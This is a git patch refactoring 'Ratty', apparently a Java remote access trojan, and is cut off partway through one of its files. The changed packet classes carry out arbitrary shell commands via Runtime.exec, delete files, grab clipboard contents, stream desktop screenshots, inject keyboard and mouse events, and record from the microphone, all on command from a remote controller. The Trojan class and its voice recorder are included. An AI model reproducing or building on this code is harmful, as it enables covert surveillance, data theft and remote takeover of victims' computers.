From a5c2f93e010411d7b2ce15c5d8d6adc367aee8b1 Mon Sep 17 00:00:00 2001 From: Sogomn Date: Mon, 15 Feb 2016 13:20:59 +0100 Subject: [PATCH] Major changes Refactoring to the max --- Ratty/src/de/sogomn/rat/Ratty.java | 4 - Ratty/src/de/sogomn/rat/Trojan.java | 2 +- .../rat/packet/AbstractPingPongPacket.java | 34 +++--- .../src/de/sogomn/rat/packet/AudioPacket.java | 18 +-- .../de/sogomn/rat/packet/ClipboardPacket.java | 22 ++-- .../de/sogomn/rat/packet/CommandPacket.java | 24 +--- .../sogomn/rat/packet/CreateFolderPacket.java | 14 +-- .../sogomn/rat/packet/DeleteFilePacket.java | 10 +- .../de/sogomn/rat/packet/DesktopPacket.java | 48 ++++---- .../sogomn/rat/packet/DownloadFilePacket.java | 30 ++--- .../sogomn/rat/packet/ExecuteFilePacket.java | 10 +- .../sogomn/rat/packet/FileSystemPacket.java | 28 ++--- .../src/de/sogomn/rat/packet/FreePacket.java | 10 +- Ratty/src/de/sogomn/rat/packet/IPacket.java | 6 +- .../sogomn/rat/packet/InformationPacket.java | 26 ++--- .../de/sogomn/rat/packet/KeyEventPacket.java | 14 +-- .../sogomn/rat/packet/MouseEventPacket.java | 22 ++-- .../src/de/sogomn/rat/packet/PopupPacket.java | 10 +- .../sogomn/rat/packet/ScreenshotPacket.java | 22 ++-- .../sogomn/rat/packet/UploadFilePacket.java | 22 ++-- .../src/de/sogomn/rat/packet/VoicePacket.java | 22 ++-- .../de/sogomn/rat/packet/WebsitePacket.java | 10 +- .../rat/server/gui/DisplayController.java | 80 ------------- .../de/sogomn/rat/server/gui/FileTree.java | 9 +- .../rat/server/gui/FileTreeController.java | 46 -------- .../de/sogomn/rat/server/gui/RattyGui.java | 50 ++++++++- .../rat/server/gui/RattyGuiController.java | 106 ++++++++++++++---- .../sogomn/rat/server/gui/ServerClient.java | 8 +- 28 files changed, 341 insertions(+), 366 deletions(-) delete mode 100644 Ratty/src/de/sogomn/rat/server/gui/DisplayController.java delete mode 100644 Ratty/src/de/sogomn/rat/server/gui/FileTreeController.java diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index 97e9472..b2d8b57 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -7,8 +7,6 @@ import java.net.URISyntaxException; import javax.swing.JOptionPane; -import com.alee.laf.WebLookAndFeel; - import de.sogomn.engine.util.FileUtils; import de.sogomn.rat.server.ActiveServer; import de.sogomn.rat.server.gui.RattyGui; @@ -112,8 +110,6 @@ public final class Ratty { } public static void main(final String[] args) { - WebLookAndFeel.install(); - readConnectionData(); if (DEBUG) { diff --git a/Ratty/src/de/sogomn/rat/Trojan.java b/Ratty/src/de/sogomn/rat/Trojan.java index ff3c675..0d815cb 100644 --- a/Ratty/src/de/sogomn/rat/Trojan.java +++ b/Ratty/src/de/sogomn/rat/Trojan.java @@ -18,7 +18,6 @@ public final class Trojan implements IConnectionObserver { lastData = data; source.start(); }); - voiceRecorder.start(); } @Override @@ -26,6 +25,7 @@ public final class Trojan implements IConnectionObserver { if (packet instanceof VoicePacket) { final VoicePacket voice = (VoicePacket)packet; + voiceRecorder.start(); voice.setData(lastData); } diff --git a/Ratty/src/de/sogomn/rat/packet/AbstractPingPongPacket.java b/Ratty/src/de/sogomn/rat/packet/AbstractPingPongPacket.java index 7d0ab2d..8ce042d 100644 --- a/Ratty/src/de/sogomn/rat/packet/AbstractPingPongPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/AbstractPingPongPacket.java @@ -17,46 +17,46 @@ public abstract class AbstractPingPongPacket implements IPacket { this(REQUEST); } - protected abstract void sendRequest(final ActiveConnection client); + protected abstract void sendRequest(final ActiveConnection connection); - protected abstract void sendData(final ActiveConnection client); + protected abstract void sendData(final ActiveConnection connection); - protected abstract void receiveRequest(final ActiveConnection client); + protected abstract void receiveRequest(final ActiveConnection connection); - protected abstract void receiveData(final ActiveConnection client); + protected abstract void receiveData(final ActiveConnection connection); - protected abstract void executeRequest(final ActiveConnection client); + protected abstract void executeRequest(final ActiveConnection connection); - protected abstract void executeData(final ActiveConnection client); + protected abstract void executeData(final ActiveConnection connection); @Override - public final void send(final ActiveConnection client) { - client.writeByte(type); + public final void send(final ActiveConnection connection) { + connection.writeByte(type); if (type == REQUEST) { - sendRequest(client); + sendRequest(connection); } else if (type == DATA) { - sendData(client); + sendData(connection); } } @Override - public final void receive(final ActiveConnection client) { - type = client.readByte(); + public final void receive(final ActiveConnection connection) { + type = connection.readByte(); if (type == REQUEST) { - receiveRequest(client); + receiveRequest(connection); } else if (type == DATA) { - receiveData(client); + receiveData(connection); } } @Override - public final void execute(final ActiveConnection client) { + public final void execute(final ActiveConnection connection) { if (type == REQUEST) { - executeRequest(client); + executeRequest(connection); } else if (type == DATA) { - executeData(client); + executeData(connection); } } diff --git a/Ratty/src/de/sogomn/rat/packet/AudioPacket.java b/Ratty/src/de/sogomn/rat/packet/AudioPacket.java index 5a1f27f..5874234 100644 --- a/Ratty/src/de/sogomn/rat/packet/AudioPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/AudioPacket.java @@ -23,25 +23,29 @@ public final class AudioPacket implements IPacket { } @Override - public void send(final ActiveConnection client) { - client.writeInt(data.length); - client.write(data); + public void send(final ActiveConnection connection) { + connection.writeInt(data.length); + connection.write(data); } @Override - public void receive(final ActiveConnection client) { - final int length = client.readInt(); + public void receive(final ActiveConnection connection) { + final int length = connection.readInt(); data = new byte[length]; - client.read(data); + connection.read(data); } @Override - public void execute(final ActiveConnection client) { + public void execute(final ActiveConnection connection) { final Sound sound = Sound.loadSound(data); sound.play(); } + public byte[] getData() { + return data; + } + } diff --git a/Ratty/src/de/sogomn/rat/packet/ClipboardPacket.java b/Ratty/src/de/sogomn/rat/packet/ClipboardPacket.java index a9bf241..8853f46 100644 --- a/Ratty/src/de/sogomn/rat/packet/ClipboardPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/ClipboardPacket.java @@ -22,27 +22,27 @@ public final class ClipboardPacket extends AbstractPingPongPacket { } @Override - protected void sendRequest(final ActiveConnection client) { + protected void sendRequest(final ActiveConnection connection) { //... } @Override - protected void sendData(final ActiveConnection client) { - client.writeUTF(clipboardContent); + protected void sendData(final ActiveConnection connection) { + connection.writeUTF(clipboardContent); } @Override - protected void receiveRequest(final ActiveConnection client) { + protected void receiveRequest(final ActiveConnection connection) { //... } @Override - protected void receiveData(final ActiveConnection client) { - clipboardContent = client.readUTF(); + protected void receiveData(final ActiveConnection connection) { + clipboardContent = connection.readUTF(); } @Override - protected void executeRequest(final ActiveConnection client) { + protected void executeRequest(final ActiveConnection connection) { type = DATA; try { @@ -56,11 +56,11 @@ public final class ClipboardPacket extends AbstractPingPongPacket { clipboardContent = ""; } - client.addPacket(this); + connection.addPacket(this); } @Override - protected void executeData(final ActiveConnection client) { + protected void executeData(final ActiveConnection connection) { final JOptionPane optionPane = new JOptionPane(clipboardContent); final JDialog dialog = optionPane.createDialog(null); @@ -68,4 +68,8 @@ public final class ClipboardPacket extends AbstractPingPongPacket { dialog.setVisible(true); } + public String getClipbordContent() { + return clipboardContent; + } + } diff --git a/Ratty/src/de/sogomn/rat/packet/CommandPacket.java b/Ratty/src/de/sogomn/rat/packet/CommandPacket.java index 504934c..7b72626 100644 --- a/Ratty/src/de/sogomn/rat/packet/CommandPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/CommandPacket.java @@ -1,7 +1,5 @@ package de.sogomn.rat.packet; -import javax.swing.JOptionPane; - import de.sogomn.rat.ActiveConnection; public final class CommandPacket implements IPacket { @@ -17,15 +15,15 @@ public final class CommandPacket implements IPacket { } @Override - public void send(final ActiveConnection client) { - client.writeUTF(command); + public void send(final ActiveConnection connection) { + connection.writeUTF(command); } - public void receive(final ActiveConnection client) { - command = client.readUTF(); + public void receive(final ActiveConnection connection) { + command = connection.readUTF(); } - public void execute(final ActiveConnection client) { + public void execute(final ActiveConnection connection) { try { Runtime.getRuntime().exec(command); } catch (final Exception ex) { @@ -33,16 +31,4 @@ public final class CommandPacket implements IPacket { } } - public static CommandPacket create() { - final String input = JOptionPane.showInputDialog(null); - - if (input != null) { - final CommandPacket packet = new CommandPacket(input); - - return packet; - } else { - return null; - } - } - } diff --git a/Ratty/src/de/sogomn/rat/packet/CreateFolderPacket.java b/Ratty/src/de/sogomn/rat/packet/CreateFolderPacket.java index 30da252..d1f5d45 100644 --- a/Ratty/src/de/sogomn/rat/packet/CreateFolderPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/CreateFolderPacket.java @@ -19,19 +19,19 @@ public final class CreateFolderPacket implements IPacket { } @Override - public void send(final ActiveConnection client) { - client.writeUTF(path); - client.writeUTF(name); + public void send(final ActiveConnection connection) { + connection.writeUTF(path); + connection.writeUTF(name); } @Override - public void receive(final ActiveConnection client) { - path = client.readUTF(); - name = client.readUTF(); + public void receive(final ActiveConnection connection) { + path = connection.readUTF(); + name = connection.readUTF(); } @Override - public void execute(final ActiveConnection client) { + public void execute(final ActiveConnection connection) { final File folder = new File(path); String fullPath = null; diff --git a/Ratty/src/de/sogomn/rat/packet/DeleteFilePacket.java b/Ratty/src/de/sogomn/rat/packet/DeleteFilePacket.java index 108c76e..23f76d5 100644 --- a/Ratty/src/de/sogomn/rat/packet/DeleteFilePacket.java +++ b/Ratty/src/de/sogomn/rat/packet/DeleteFilePacket.java @@ -17,17 +17,17 @@ public final class DeleteFilePacket implements IPacket { } @Override - public void send(final ActiveConnection client) { - client.writeUTF(path); + public void send(final ActiveConnection connection) { + connection.writeUTF(path); } @Override - public void receive(final ActiveConnection client) { - path = client.readUTF(); + public void receive(final ActiveConnection connection) { + path = connection.readUTF(); } @Override - public void execute(final ActiveConnection client) { + public void execute(final ActiveConnection connection) { final File file = new File(path); file.delete(); diff --git a/Ratty/src/de/sogomn/rat/packet/DesktopPacket.java b/Ratty/src/de/sogomn/rat/packet/DesktopPacket.java index 00accb1..9c95d88 100644 --- a/Ratty/src/de/sogomn/rat/packet/DesktopPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/DesktopPacket.java @@ -34,43 +34,43 @@ public final class DesktopPacket extends AbstractPingPongPacket { } @Override - protected void sendRequest(final ActiveConnection client) { - client.writeByte(deleteLastScreenshot); + protected void sendRequest(final ActiveConnection connection) { + connection.writeByte(deleteLastScreenshot); } @Override - protected void sendData(final ActiveConnection client) { + protected void sendData(final ActiveConnection connection) { Stream.of(frames).forEach(frame -> { final byte[] data = ImageUtils.toByteArray(frame.image, 0); - client.writeByte(INCOMING); - client.writeShort((short)frame.x); - client.writeShort((short)frame.y); - client.writeInt(data.length); - client.write(data); + connection.writeByte(INCOMING); + connection.writeShort((short)frame.x); + connection.writeShort((short)frame.y); + connection.writeInt(data.length); + connection.write(data); }); - client.writeByte(END); - client.writeInt(screenWidth); - client.writeInt(screenHeight); + connection.writeByte(END); + connection.writeInt(screenWidth); + connection.writeInt(screenHeight); } @Override - protected void receiveRequest(final ActiveConnection client) { - deleteLastScreenshot = client.readByte(); + protected void receiveRequest(final ActiveConnection connection) { + deleteLastScreenshot = connection.readByte(); } @Override - protected void receiveData(final ActiveConnection client) { + protected void receiveData(final ActiveConnection connection) { final ArrayList